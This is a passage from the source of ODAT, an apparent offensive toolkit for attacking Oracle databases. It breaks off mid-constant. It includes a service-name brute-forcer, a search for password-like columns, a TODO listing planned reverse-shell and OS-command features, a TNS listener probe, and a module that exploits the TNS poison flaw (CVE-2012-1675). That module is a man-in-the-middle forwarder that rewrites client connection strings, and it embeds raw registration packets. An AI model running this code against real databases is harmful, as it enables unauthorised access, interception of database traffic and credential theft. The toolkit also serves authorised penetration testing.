logging.warning('Error with the SQL request {0}: {1}'.format(aDefinition["REQ"], str(response))) print("--> {0}: unknown".format(aDefinition["HELP"])) else: if 'TABLE' in aDefinition and aDefinition['TABLE'] == True: print("\n--> {0}:".format(aDefinition["HELP"])) table = Texttable(max_width=getScreenSize()[0]) table.set_deco(Texttable.HEADER) table.add_rows(response) print(table.draw()) else: for aRespone in response: print("--> {0}: {1}".format(aDefinition["HELP"], aRespone[aDefinition["PARAM"]])) def testAll (self): ''' Test all functions ''' self.args['print'].subtitle("Search in column names ?") logging.info('Nothing to do, return True') self.args['print'].goodNews("OK") return True def runSearchModule(args): ''' Run the Search module ''' status = True if checkOptionsGivenByTheUser(args,["test-module","column-names","pwd-column-names","desc-tables","without-example","sql-shell",'basic-info']) == False : return EXIT_MISS_ARGUMENT search = Search(args) status = search.connection(stopIfError=True) if args['test-module'] == True : args['print'].title("Test if the Search module can be used") status = search.testAll() if args['basic-info'] == True : args['print'].title("Test if the Search module can be used") status = search.getBasicInformation(printStdout=True) if ('column-names' in args)==True and args['column-names']!=None: args['print'].title("Columns which contains the pattern '{0}'".format(args['column-names'])) table = search.searchInColumns(args['column-names'],showEmptyColumns=args['show-empty-columns'], withoutExample=args['without-example']) if search.isEmptyTable(table) == True : args['print'].badNews("no result found") else : args['print'].goodNews(table) if args['pwd-column-names']==True: args['print'].title("Columns which contains the pattern ~password~ like (multi language)") table = search.searchPwdKeyworkInColumnNames(showEmptyColumns=args['show-empty-columns'], withoutExample=args['without-example']) if search.isEmptyTable(table) == True : args['print'].badNews("no result found") else : args['print'].goodNews(table) if args['desc-tables']==True: args['print'].title("Descibe each table which is accessible by the current user (without system tables)") table = search.getDescOfEachNoSystemTable() print(table) if args['sql-shell'] == True: args['print'].title("Starting an interactive SQL shell") search.startInteractiveSQLShell() odat-5.1.1/ServiceNameGuesser.py000066400000000000000000000121571423220672100165630ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- from OracleDatabase import OracleDatabase from time import sleep from itertools import product import logging, string from Tnscmd import Tnscmd from Constants import * from Utils import stringToLinePadded class ServiceNameGuesser (OracleDatabase): ''' Service Name guesser ''' def __init__(self, args, serviceNameFile, timeSleep=0): ''' Constructor ''' logging.debug("ServiceNameGuesser object created") OracleDatabase.__init__(self,args) self.serviceNameFile = serviceNameFile self.serviceNames = [] self.validServiceNames = [] self.args['SYSDBA'] = False self.args['SYSOPER'] = False self.timeSleep = timeSleep self.NO_GOOD_SERVICE_NAME_STRING_LIST = ["listener does not currently know of service requested", "listener does not currently know of SID", "connection to server failed"] def getValidServiceNames(self): ''' return a list containing valid Service Names found ''' return self.validServiceNames def appendValidServiceName (self, serviceName): ''' Append to self.validServiceNames a new Service Name if no in the list ''' if serviceName not in self.validServiceNames: self.validServiceNames.append(serviceName) def __getServiceNamesFromFile__(self): ''' return list containing Service Names ''' serviceNames = [] logging.info('Load Service Names stored in the {0} file'.format(self.serviceNameFile)) f = open(self.serviceNameFile) for l in f: serviceNames.append(l.replace('\n','').replace('\t','')) f.close() return sorted(serviceNames) def __testIfAGoodServiceName__(self): ''' Test if it is a good Service Name ''' no_good_service_name_found = False self.__generateConnectionString__(username=self.__generateRandomString__(nb=15), password=self.__generateRandomString__(nb=5)) logging.debug("Try to connect with the {0} Service Name ({1})".format(self.args['serviceName'], self.args['connectionStr'])) status = self.connection() if self.__needRetryConnection__(status) == True: status = self.__retryConnect__(nbTry=4) if status != None : for aNoGoodString in self.NO_GOOD_SERVICE_NAME_STRING_LIST: if aNoGoodString in str(status): no_good_service_name_found = True break if no_good_service_name_found == False: self.appendValidServiceName(self.args['serviceName']) logging.info("'{0}' is a valid Service Name (Server message: {1})".format(self.args['serviceName'], str(status))) self.args['print'].goodNews(stringToLinePadded("'{0}' is a valid Service Name. Continue... ".format(self.args['serviceName']))) self.close() def searchKnownServiceNames(self): ''' Search valid Service Names THANKS TO a well known Service Name list ''' self.args['print'].subtitle("Searching valid Service Names thanks to a well known Service Name list on the {0}:{1} server".format(self.args['server'], self.args['port'])) self.serviceNames += self.__getServiceNamesFromFile__() pbar,nb = self.getStandardBarStarted(len(self.serviceNames)), 0 logging.info('Start the research') self.args['sid'] = None for aServiceName in self.serviceNames : nb += 1 pbar.update(nb) self.args['serviceName'] = aServiceName self.__testIfAGoodServiceName__() sleep(self.timeSleep) pbar.finish() return True def bruteforceServiceNames(self, size=4, charset=string.ascii_uppercase): ''' Bruteforce Service Names ''' self.args['print'].subtitle("Searching valid Service Names thanks to a brute-force attack on {2} chars now ({0}:{1})".format(self.args['server'], self.args['port'], size)) pbar,nb = self.getStandardBarStarted(len(charset)**size), 0 logging.info('Start the research') self.args['sid'] = None for aServiceName in product(list(charset), repeat=size): nb +=1 pbar.update(nb) self.args['serviceName'] = ''.join(aServiceName) self.__testIfAGoodServiceName__() sleep(self.timeSleep) pbar.finish() return True def loadServiceNameFromListenerAlias(self): ''' Append ALIAS from listener into the Service Name list to try ALIAS like Service Name ''' logging.info('Put listener ALIAS into the Service Name list to try ALIAS like Service Name') tnscmd = Tnscmd(self.args) tnscmd.getInformation() self.serviceNames += tnscmd.getAlias() def runServiceNameGuesserModule(args): ''' Run the ServiceNameGuesser module ''' args['print'].title("Searching valid Service Names") serviceNameGuesser = ServiceNameGuesser(args, args['service-name-file'], timeSleep=args['timeSleep']) serviceNameGuesser.loadServiceNameFromListenerAlias() serviceNameGuesser.searchKnownServiceNames() for aServiceNameSize in range(args['service-name-min-size'], args['service-name-max-size']+1): serviceNameGuesser.bruteforceServiceNames(size=aServiceNameSize, charset=args['service-name-charset']) validServiceNameList = serviceNameGuesser.getValidServiceNames() if validServiceNameList == []: args['print'].badNews("No found a valid Service Name".format(args['server'], args['port'])) else : args['print'].goodNews("Service Name(s) found on the {0}:{1} server: {2}".format(args['server'], args['port'], ','.join(validServiceNameList))) return validServiceNameList odat-5.1.1/TODO.txt000066400000000000000000000027201423220672100137530ustar00rootroot00000000000000############################################################################################################################### ODAT ############################################################################################################################### ----------- HIGH ----------- 1. Windows reverse shell in the JAVA module (with Powershell) ? 2- Executing Code as SYSDBA: "oradebug setmypid", oradebug call system “/bin/touch -f /home/oracle/rds.txt”Function returned 0 http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/ http://www.petefinnigan.com/weblog/archives/00001353.htm ----------- MEDIUM ----------- 1- To Transfert files via DBMS_SCHEDULER.get_file (http://docs.oracle.com/cd/B28359_01/appdev.111/b28419/d_sched.htm#BABDDBFH) 4- Read files with XMLType 5- Create files with DBMS_XMLDOM 6- Execute system command with PL/SQL native (undocumented) 7- Create an option for each module to show sql command used by this one. The aim : when the tool can't be used, sql commands generated by the tool can be used. 8- Catch errors when the credential file given by a user is not good 9- Feature for dumping/showing tables or databases (partially implemented) ----------- LOW ----------- 1- To Transfert files via DBMS_FILE_TRANSFER (http://psoug.org/reference/dbms_file_trans.html). Need an Oracle database installed localy because need database link. odat-5.1.1/Tnscmd.py000066400000000000000000000120131423220672100142430ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- import logging,struct, socket, re, struct from Constants import * from Utils import checkOptionsGivenByTheUser class Tnscmd(): ''' Get information about the oracle database service ''' def __init__(self,args): ''' Constructor ''' logging.debug("Tnscmd object created") self.args = args self.recvdata = "" self.alias = [] self.version = "" self.localIP = "" def getRecvData(self): ''' return a representation of received data ''' return repr(self.recvdata) def getInformation(self,cmd='ping'): ''' Get information about the oracle database service Returns False if an error Returns True if it has a response ''' logging.info ("alias list emptied") self.recvdata = "" command = "(CONNECT_DATA=(COMMAND={0}))".format(cmd) commandlen = len(command) #logging.info("Sending {0} to {1}:{2} in order to get ALIAS".format(command,self.args['server'],self.args['port'])) clenH = commandlen >> 8 clenL = commandlen & 0xff # calculate packet length packetlen = commandlen + 58; # "preamble" is 58 bytes plenH = packetlen >> 8 plenL = packetlen & 0xff # decimal offset # 0: packetlen_high packetlen_low # 26: cmdlen_high cmdlen_low # 58: command packet = [plenH, plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00, 0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01, clenH, clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] #put the command in packet for c in command : packet.append(ord(c)) sendbuf = b''.join([struct.pack('B', val) for val in packet]) #logging.debug("connect to this service") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(TIMEOUT_TNS_CMD) logging.debug("Connection to {0}:{1}".format(self.args['server'],int(self.args['port']))) s.connect((self.args['server'],int(self.args['port']))) self.localIP = s.getsockname()[0] logging.debug("writing {0} bytes: {1}".format(len(sendbuf),repr(sendbuf))) s.sendall(sendbuf) logging.debug("reading data") # read until socket EOF self.recvdata = str(s.recv(999999)) s.close() except socket.timeout as e: logging.critical("Connection Timeout: The server has not responded to the CONNECT_DATA packet send") return False except Exception as e: logging.critical("Connection Error: {0}".format(e)) return False # 1st 12 bytes have some meaning which so far eludes me logging.info("Data received thanks to the '{1}' cmd: {0}".format(repr(self.recvdata),cmd)) return True def getAlias(self): ''' return alias list or None if an error ''' self.alias = [] status = self.getInformation(cmd='ping') if status == False: return None alias = re.findall(r'(?<=ALIAS=).+?(?=\))', self.recvdata, flags=re.IGNORECASE) for anAlias in alias : self.alias.append(anAlias.replace('\n','').replace(' ','').replace('\t','')) return self.alias def getVersion(self): ''' return version from VSNNUM or None if an error ''' self.version = "" status = self.getInformation(cmd='version') if status == False: return None vsnnum = re.findall(r'(?<=VSNNUM=).+?(?=\))', self.recvdata, flags=re.IGNORECASE) if vsnnum == []: return "Unknown" else: hexVsnnum = str(hex(int(vsnnum[0])))[2:] if len(hexVsnnum) == 7: hexVersionList = struct.unpack('cc2sc2s',hexVsnnum.encode()) elif len(hexVsnnum) == 8: hexVersionList = struct.unpack('2sc2sc2s',hexVsnnum.encode()) for v in hexVersionList : self.version += str(int(v,16)) + '.' return self.version def runTnsCmdModule(args): ''' run the TNS cmd module ''' if checkOptionsGivenByTheUser(args,["version","status","ping"],checkSID=False,checkAccount=False) == False : return EXIT_MISS_ARGUMENT tnscmd = Tnscmd(args) if args['ping'] == True: args['print'].title("Searching ALIAS on the {0} server, port {1}".format(args['server'],args['port'])) alias = tnscmd.getAlias() if alias != None: args['print'].goodNews("{0} ALIAS received: {1}. You should use this alias (more or less) as Oracle SID.".format(len(alias),alias)) else: args['print'].badNews("Impossible to get ALIAS") if args['version'] == True: args['print'].title("Searching the version of the Oracle database server ({0}) listening on the port {1}".format(args['server'],args['port'])) version = tnscmd.getVersion() if version != None: args['print'].goodNews("The remote database version is: '{0}'".format(version)) else: args['print'].badNews("Impossible to get version") if args['status'] == True: args['print'].title("Searching the server status of the Oracle database server ({0}) listening on the port {1}".format(args['server'],args['port'])) status = tnscmd.getInformation(cmd='status') if status != False: args['print'].goodNews("Data received by the database server: '{0}'".format(tnscmd.getRecvData())) else: args['print'].badNews("Impossible to get status") odat-5.1.1/Tnspoison.py000066400000000000000000001725411423220672100150240ustar00rootroot00000000000000#!/usr/bin/python # -*- coding: utf-8 -*- import logging, socket, asyncore, re from threading import Thread from time import sleep from Tnscmd import Tnscmd from Utils import checkOptionsGivenByTheUser from Constants import * class forwarder(asyncore.dispatcher): ''' From http://seclists.org/fulldisclosure/2012/Apr/204 ''' def __init__(self, ip, port, args, connectionString, replaceStr, backlog=5): self.args=args asyncore.dispatcher.__init__(self) self.remoteip=self.args['server'] self.remoteport=self.args['port'] self.create_socket(socket.AF_INET,socket.SOCK_STREAM) self.set_reuse_addr() self.bind((ip,port)) self.listen(backlog) self.connectionString = connectionString self.replaceStr = replaceStr def handle_accept(self): ''' Called on listening channels (passive openers) when a connection can be established with a new remote endpoint that has issued a connect() call for the local endpoint. ''' conn, addr = self.accept() sender(receiver(conn, self.args, self.connectionString, self.replaceStr), self.args) class receiver(asyncore.dispatcher): ''' From http://seclists.org/fulldisclosure/2012/Apr/204 ''' GOOD_CONNECTION_STRING_TNSPOISON = "(DESCRIPTION=(CONNECT_DATA=(SERVICE_NAME={0})(CID=(PROGRAM=sqlplus@pc)(HOST=pc)(USER=pc)))(ADDRESS=(PROTOCOL=TCP)(HOST={1})(PORT={2})))"#{0} SID, {1} TARGET, {2} port def __init__(self, conn, args, connectionString, replaceStr): self.peerIP, self.peerPort = conn.getpeername() asyncore.dispatcher.__init__(self,conn) self.from_remote_buffer=b'' self.to_remote_buffer=b'' self.sender=None self.nbRcvd = 0 self.nbSent = 0 self.args=args self.connectionString = connectionString self.replaceStr = replaceStr def handle_connect(self): ''' Called when the active opener’s socket actually makes a connection. ''' pass def handle_read(self): ''' Called when the asynchronous loop detects that a read() call on the channel’s socket will succeed. ''' userConnectionString, newConnectionString, printableData = "", "", "" read = self.recv(4096) if self.replaceStr != [None, None]: if self.replaceStr[0] in read: logging.debug('{0} is in the packet received. This string is replacing by {1}'.format(repr(self.replaceStr[0]), repr(self.replaceStr[1]))) read = read.replace(self.replaceStr[0], self.replaceStr[1]) else: logging.debug('Your string {0} is not in the packet received.'.format(repr(self.replaceStr[0]))) if self.nbRcvd == 0 and len(self.args['sid']) in [9,10,11,12]: logging.debug('SID >= 9. Consequently, we need modify the Connection String in the first packet of a communication.') searchCS = re.search('\(DESCRIPTION(.*)\)$',read) if searchCS == None: logging.debug('Connection String was not found in this first packet: anomalous. No aletration of this packet') else: userConnectionString = read[searchCS.start():] logging.debug('Connection String detected in this packet: {0}'.format(repr(userConnectionString))) if self.connectionString == None : logging.debug('A generic Connection String is used') newConnectionString = self.GOOD_CONNECTION_STRING_TNSPOISON.format(self.args['sid'], self.args['server'], self.args['port']) else: logging.debug('Your Connection String will be used in the connection of the Oracle client') newConnectionString = self.connectionString logging.debug('The following connection string will be used: {0}'.format(newConnectionString)) read = read.replace(userConnectionString, newConnectionString.ljust(len(userConnectionString),' ')) logging.debug('New connection string used: {0}'.format(repr(newConnectionString))) self.from_remote_buffer += read self.nbRcvd += 1 if self.args['no-color'] == True : printableData = repr(read) else : printableData = self.args['print'].getColoredString(repr(read), 'green') print("[{0}|{1}:{2}-->] {3}".format(str(self.nbRcvd).zfill(4), self.peerIP, self.peerPort, printableData)) def writable(self): ''' Called each time around the asynchronous loop to determine whether a channel’s socket should be added to the list on which write events can occur. ''' return (len(self.to_remote_buffer) > 0) def handle_write(self): ''' Called when the asynchronous loop detects that a writable socket can be written. ''' sent = self.send(self.to_remote_buffer) #Send data to the remote end-point of the socket. printableData = "" if self.args['no-color'] == True : printableData = repr(self.to_remote_buffer) else : printableData = self.args['print'].getColoredString(repr(self.to_remote_buffer), 'blue') print("[{0}|{1}:{2}<--] {3}".format(str(self.nbSent).zfill(4), self.peerIP, self.peerPort, printableData)) self.to_remote_buffer = self.to_remote_buffer[sent:] self.nbSent += 1 def handle_close(self): ''' Called when the socket is closed. ''' self.close() if self.sender: self.sender.close() class sender(asyncore.dispatcher): ''' From http://seclists.org/fulldisclosure/2012/Apr/204 ''' def __init__(self, receiver, args): self.args=args asyncore.dispatcher.__init__(self) self.receiver=receiver receiver.sender=self self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.connect((self.args['server'], self.args['port'])) def handle_connect(self): ''' Called when the active opener’s socket actually makes a connection. ''' pass def handle_read(self): ''' Called when the asynchronous loop detects that a read() call on the channel’s socket will succeed. ''' read = self.recv(4096) self.receiver.to_remote_buffer += read def writable(self): ''' Called each time around the asynchronous loop to determine whether a channel’s socket should be added to the list on which write events can occur. ''' return (len(self.receiver.from_remote_buffer) > 0) def handle_write(self): ''' Called when the asynchronous loop detects that a writable socket can be written. ''' sent = self.send(self.receiver.from_remote_buffer) #Send data to the remote end-point of the socket. self.receiver.from_remote_buffer = self.receiver.from_remote_buffer[sent:] def handle_close(self): ''' Called when the socket is closed. ''' self.close() self.receiver.close() class Tnspoison (Tnscmd): ''' Exploit the TNS poison attack (CVE-2012-1675) ''' PACKET_REGISTER = b"""\x00h\x00\x00\x01\x00\x00\x00\x019\x01,\x00\x81\x08\x00\x7f\xff\x7f\x08\x00\x00\x01\x00\x00.\x00:\x00\x00\x07\xf8\x0c\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(CONNECT_DATA=(COMMAND=service_register_NSGR))""" PACKET_TNSPOISON_SID_2 = b"""\x05~\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05t$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xc0\xe9F\x0b\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xfc\x04\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xf5-\x0b\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00N\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\xa8E\x0b\x00\x00\x00\x00\xf9&\xe6!\x8b\x80Nj\xbd\x8dwi\xbfN;S\x03\x00\x00\x00\x00\x00\x00\x00\xe0E\xac%\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x88\x02N\x0b\x00\x00\x00\x00\n\x00\x00\x00d\x00\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\xf5-\x0b\x00\x00\x00\x00or\x00(HOST=192.168.133.1 )\x00\x01\x00\x00\x00\x06\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00x\xa9\xff\x1f\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00P\xa9\xff\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\xa7E\x0b\x00\x00\x00\x00orXDB\x00\x06\x00\x00\x00\x00\x00\x00\x00x\xa9\xff\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fE\x0b\x00\x00\x00\x00orXDB\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xc8\xd9\xa8%\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xa0\xd9\xa8%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xa6E\x0b\x00\x00\x00\x00or\x00\x03\x00\x00\x00\x00\x00\x00\x00\xc8\xd9\xa8%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc-\x0b\x00\x00\x00\x00or\x00\x01\x00\x00\x00E\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf0\x80\x85%\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00PfN\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa9E\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00E\x00\x00\x00\x00\x00\x00\x00\xf0\x80\x85%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xa5E\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb8\x97E\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90fN\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\xa8E\x0b\x00\x00\x00\x00\xb9x@Cu\xacG2\x9a@\xe3f\xc7Lt\xc2\x05\x00\x00\x00\x00\x00\x00\x00`Z\xf6!\xff\x07\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xe0\x91\x94%\xff\x07\x00\x001\x00\x00\x00\x00\x00\x00\x00\xfcfN\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\xc8X\xea\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x97E\x0b\x00\x00\x00\x00D000\x00(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.133.1 )(PORT=49180))\x00DISPATCHER \x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb-\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99-\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc2{FlM\x1eC\xb9\x90\x89\x11\x1dT\x91\x08}P\xa9\xff\x1f\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00\x88E\xac%\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x05\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\xe8\xd9\xa8%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb-\x0b\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\x06\x00\x00\x00\x00\x00\x00\x00x\xa9\xff\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8fE\x0b\x00\x00\x00\x00orXDB\x00\xa0\xd9\xa8%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xc8\xd9\xa8%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc-\x0b\x00\x00\x00\x00or\x00\x00\x00""" PACKET_TNSPOISON_SID_3 = b"""\x05\x86\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x05|$\x08\xff\x03\x01\x00\x1244xx4x\x10\x102\x102\x102Tv\x102\x102Tv\x00x\x102Tv\x00\x00H\x00\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\xc0\xe9?\x0b\x00\x00\x00\x00\x90\x00#\x00\x00\x00BEC76C2CC136-5F9F-E034-0003BA1374B3\x03\x00e\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x04\x05\x00\x80\x05\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x80\xf5\xdc\n\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xb0\x00I\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc8\xa8>\x0b\x00\x00\x00\x00\xbc\x1d\xb3C{\xa0O\xcc\x88\xb6\xc5\xeb\xf6b\xe2g\x04\x00\x00\x00\x00\x00\x00\x00\xe0E\xac%\xff\x07\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x88\x02I\x0b\x00\x00\x00\x00\n\x00\x00\x00d\x00\x00\x00\x01\x00\x00\x00\xf7\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\xf5\xdc\n\x00\x00\x00\x00orc\x00(HOST=192.168.133.1 )\x00\x01\x00\x00\x00\x07\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00x\xa9\xff\x1f\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00P\xa9\xff\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\xa7>\x0b\x00\x00\x00\x00orcXDB\x00\x07\x00\x00\x00\x00\x00\x00\x00x\xa9\xff\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8f>\x0b\x00\x00\x00\x00orcXDB\x00\x01\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00H\xcf\xaa%\xff\x07\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00 \xcf\xaa%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xa6>\x0b\x00\x00\x00\x00orc\x00\x04\x00\x00\x00\x00\x00\x00\x00H\xcf\xaa%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\xdc\n\x00\x00\x00\x00orc\x00\x01\x00\x00\x00E\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xe8j\xf1\x1f\xff\x07\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00PfI\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa9>\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00E\x00\x00\x00\x00\x00\x00\x00\xe8j\xf1\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xa5>\x0b\x00\x00\x00\x00(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.56.1)(PORT=1521)))\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xb8\x97>\x0b\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90fI\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\xa8>\x0b\x00\x00\x00\x002\xb6\xccUu\xebH\xdf\x90\x97\x1ct\xdc\x03\xa1\x8c\x05\x00\x00\x00\x00\x00\x00\x00`Z\xf6!\xff\x07\x00\x00;\x00\x00\x00\x00\x00\x00\x00\xe0\x91\x94%\xff\x07\x00\x001\x00\x00\x00\x00\x00\x00\x00\xfcfI\x0b\x00\x00\x00\x00\x00\x00\x00\x00\xfe\x03\x00\x00\x04\x10\x00\x00\x01\x00\x00\x00\xc8\xaf\xea\x1f\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x97>\x0b\x00\x00\x00\x00D000\x00(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.133.1 )(PORT=49184))\x00DISPATCHER \x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xd0\xfb\xdc\n\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x90\x99\xdc\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&\xe1A\xbfx\xe6B\xa6\xab\xcd\xdd\xef\xc9\xe1\xffrP\xa9\xff\x1f\xff\x07\x00\x00\n\x00\x00\x00\x00\x00\x00\x00,T{G\x01\x00\x00\x00:\x00\x00\x00\x00\x00\x00\x00\x88E\xac%\xff\x07\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xf0y{G\x01\x00\x00\x00\x03\x00\x00\x00\x95\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00h\xcf\xaa%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb8\xfb\xdc\n\x00\x00\x00\x00DEDICATED\x00(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.133.1 )(PORT=9999))\x00REMOTE SERVER\x00\x07\x00\x00\x00\x00\x00\x00\x00x\xa9\xff\x1f\xff\x07\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00p\x8f>\x0b\x00\x00\x00\x00orcXDB\x00 \xcf\xaa%\xff\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00H\xcf\xaa%\xff\x07\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x18\xfc\xdc\n\x00\x00\x00\x00orc\x00\x00\x00\x00""" #TESTED with ORC on 11.1.0.7 PACKET_TNSPOISON_SID_4 = 